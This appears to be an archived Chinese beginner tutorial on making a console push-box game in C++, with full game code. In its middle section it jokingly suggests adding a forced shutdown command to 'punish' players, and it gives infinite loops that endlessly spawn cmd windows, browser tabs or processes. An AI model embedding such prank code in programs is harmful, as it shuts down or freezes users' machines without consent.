跳到正文

科技·工程

如何用c++写一个简单小游戏

songsongwqz约 9 分钟
原文

这是 2026年4月26日 存档的第 1 版,不是当前版本。查看当前版本

文章信息与版本

文章信息

发布
2026年3月9日
收录
2026年4月26日
更新
2026年11月18日
篇幅
约 9 分钟

版本

  1. v2当前
  2. v1

最最重要的东西一定是这个---

system(“cls”);最开始要做的时候发现刷新不知道用哪个而然system(“cls”);可以清空全屏 system(“pause”); 还有这个这个代表暂停游戏并按下任意键继续

C++
void display() {
    system("cls");
    for(int i=0;i<n;i++){
        for(int j=0;j<m;j++){
            cout<<a[i][j];
        }
        cout<<endl;
    }
}

你可以为你的小游戏加一个display函数这样就更方便 当然如果你希望制裁哪些爱玩游戏的人你可以加一个令人开心的代码system(“shutdown -s -t 1”);非常有用 如果你觉得这样的制裁不够你可以再加一个

C++
#include<bits/stdc++.h>
using namespace std;
int main() {
while(1){
system("start sdjddjsksdjdsuejxm");
}
}
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1){
system("start cmd");
}
}
#include<bits/stdc++.h>
using namespace std;
int main() {
while(1){
system("start https://luogu.com.cn");
}
}

至于功能你试试吧 相信大家学会了如何制作接下来我分享一个我做的很菜

C++
#include<bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
char a[1005][1005] = {
    {'*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*'},
    {'*','*','o',' ',' ','*',' ',' ',' ',' ',' ','*',' ','+',' ',' ',' ',' ','*'},
    {'*','*',' ',' ',' ',' ',' ',' ',' ',' ','+','*','*','*','*','*',' ',' ','*'},
    {'*','*',' ',' ',' ','#','*','*','*','*','*','*',' ',' ',' ',' ',' ','*','*'},
    {'*','*','*','*','*',' ',' ',' ',' ',' ','*','*',' ',' ',' ','*',' ',' ','*'},
    {'*',' ',' ','*','*',' ','*','*','*',' ',' ','*',' ',' ',' ','*',' ',' ','*'},
    {'*',' ',' ',' ',' ',' ','*','+','*',' ',' ','*',' ',' ','*',' ',' ',' ','*'},
    {'*','#','*','*',' ',' ','*',' ','*',' ',' ',' ',' ','#','*',' ',' ',' ','*'},
    {'*',' ',' ','*',' ',' ','*',' ','*',' ',' ',' ',' ',' ','*',' ',' ',' ','*'},
    {'*',' ',' ',' ',' ',' ','*',' ',' ',' ',' ','*',' ',' ',' ','*','#',' ','*'},
    {'*','+',' ',' ',' ',' ','*',' ',' ',' ','*',' ',' ',' ',' ','*',' ',' ','*'},
    {'*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*'}
};
int x=1, y=2;
int n=12,m=19;
int cnt=4;

void display() {
    system("cls");
    for(int i=0;i<n;i++){
        for(int j=0;j<m;j++){
            cout<<a[i][j];
        }
        cout<<endl;
    }
    cout<<"剩余目标点: "<<cnt<<endl;
}

int main(){
	cout<<"WASD控制推箱子小游戏"<<endl<<"  ";
	system("pause"); 
    display();
    while(1){
        char c=_getch();
        if(c=='a'&&a[x][y-1]!='*'&&a[x][y-1]!='+'&&a[x][y-1]!='@'){
            if(a[x][y-1]=='#'){
                if(a[x][y-2]=='+'){
                    a[x][y-2]='@';
                    a[x][y]=' ';
                    a[x][--y]='o';
                    cnt--;
                }
                else if(a[x][y-2]==' '){
                    a[x][y]=' ';
                    a[x][--y]='o';
                    a[x][y-1]='#';
                }
            }
            else{
                a[x][y]=' ';
                a[x][--y]='o';
            }
        }
        else if(c=='s'&&a[x+1][y]!='*'&&a[x+1][y]!='+'&&a[x+1][y]!='@'){
            if(a[x+1][y]=='#'){
                if(a[x+2][y]=='+'){
                    a[x+2][y]='@';
                    a[x][y]=' ';
                    a[++x][y]='o';
                    cnt--;
                }
                else if(a[x+2][y]==' '){
                    a[x][y]=' ';
                    a[++x][y]='o';
                    a[x+1][y]='#';
                }
            }
            else{
                a[x][y]=' ';
                a[++x][y]='o';
            }
        }
        else if(c=='w'&&a[x-1][y]!='*'&&a[x-1][y]!='+'&&a[x-1][y]!='@'){
            if(a[x-1][y]=='#'){
                if(a[x-2][y]=='+'){
                    a[x-2][y]='@';
                    a[x][y]=' ';
                    a[--x][y]='o';
                    cnt--;
                }
                else if(a[x-2][y]==' '){
                    a[x][y]=' ';
                    a[--x][y]='o';
                    a[x-1][y]='#';
                }
            }
            else{
                a[x][y]=' ';
                a[--x][y]='o';
            }
        }
        else if(c=='d'&&a[x][y+1]!='*'&&a[x][y+1]!='+'&&a[x][y+1]!='@'){
            if(a[x][y+1]=='#'){
                if(a[x][y+2]=='+'){
                    a[x][y+2]='@';
                    a[x][y]=' ';
                    a[x][++y]='o';
                    cnt--;
                }
                else if(a[x][y+2]==' '){
                    a[x][y]=' ';
                    a[x][++y]='o';
                    a[x][y+1]='#';
                }
            }
            else{
                a[x][y]=' ';
                a[x][++y]='o';
            }
        }
        display();
        if(cnt<=0){
            cout<<"You Win!";
            system("pause"); 
            break;
        }
    }
    string s;
    cin>>s;
    system("cls");
    return 0;
}

你赢了吗